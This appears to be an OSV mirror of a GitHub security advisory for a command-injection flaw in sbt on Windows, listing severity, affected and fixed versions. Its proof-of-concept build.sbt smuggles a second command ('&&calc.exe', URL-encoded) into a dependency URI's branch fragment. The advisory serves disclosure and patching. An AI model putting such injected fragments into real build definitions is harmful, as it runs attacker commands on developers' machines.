GHSA-x4ff-q6h8-v7gw

Suggest an improvement
Source
https://github.com/advisories/GHSA-x4ff-q6h8-v7gw
Import Source
https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/03/GHSA-x4ff-q6h8-v7gw/GHSA-x4ff-q6h8-v7gw.json
JSON Data
https://api.osv.dev/v1/vulns/GHSA-x4ff-q6h8-v7gw
Aliases
Published
2026-03-24T16:04:12Z
Modified
2026-03-27T22:05:00Z
Severity
  • 6.7 (Medium) CVSS_V4 - CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:A/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N CVSS Calculator
Summary
sbt: Source dependency feature (via crafted VCS URL) leads to arbitrary code execution on Windows
Details

Summary

On Windows, sbt uses Process("cmd", "/c", ...) to run VCS commands (git, hg, svn). The URI fragment (branch, tag, revision) is user-controlled via the build definition and passed to these commands without validation. Because cmd /c interprets &, |, and ; as command separators, a malicious fragment can execute arbitrary commands.

Patched version

Technically, sbt 1.12.7 is patched, but it has a bug that makes source dependency non-functional, so update to sbt 1.12.8 or later instead.

Details

PoC

# build.properties
# sbt.version=1.12.5  # Tested on those two versions of sbt
sbt.version=2.0.0-RC9
// build.sbt

ThisBuild / scalaVersion := "2.12.19"

lazy val root = project
  .in(file("."))
  .dependsOn(vulnerable)

lazy val vulnerable = RootProject(
  uri("https://github.com/sbt/io.git#develop%26%26calc.exe")
)

Impact

Windows users are impacted. An attacker can execute arbitrary Windows commands if they control the dependency URI.

Database specific
{
    "cwe_ids":  [
        "CWE-78"
    ],
    "github_reviewed":  true,
    "github_reviewed_at":  "2026-03-24T16:04:12Z",
    "nvd_published_at":  "2026-03-24T20:16:27Z",
    "severity":  "MODERATE"
}
References

Affected packages

Maven / org.scala-sbt:sbt

Package

Name
org.scala-sbt:sbt
View open source insights on deps.dev
Purl
pkg:maven/org.scala-sbt/sbt

Affected ranges

Type
ECOSYSTEM
Events
Introduced
0.9.5
Fixed
1.12.8

Affected versions

0.*
0.99.2
0.99.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1.10.7
1.10.8
1.10.9
1.10.10
1.10.11
1.11.0-RC1
1.11.0-RC2
1.11.0
1.11.1
1.11.2
1.11.3
1.11.4
1.11.5
1.11.6
1.11.7
1.12.0-M1
1.12.0-M2
1.12.0-RC1
1.12.0
1.12.1
1.12.2
1.12.3
1.12.4
1.12.5
1.12.6
1.12.7

Database specific

last_known_affected_version_range
"< 1.12.7"
source
"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/03/GHSA-x4ff-q6h8-v7gw/GHSA-x4ff-q6h8-v7gw.json"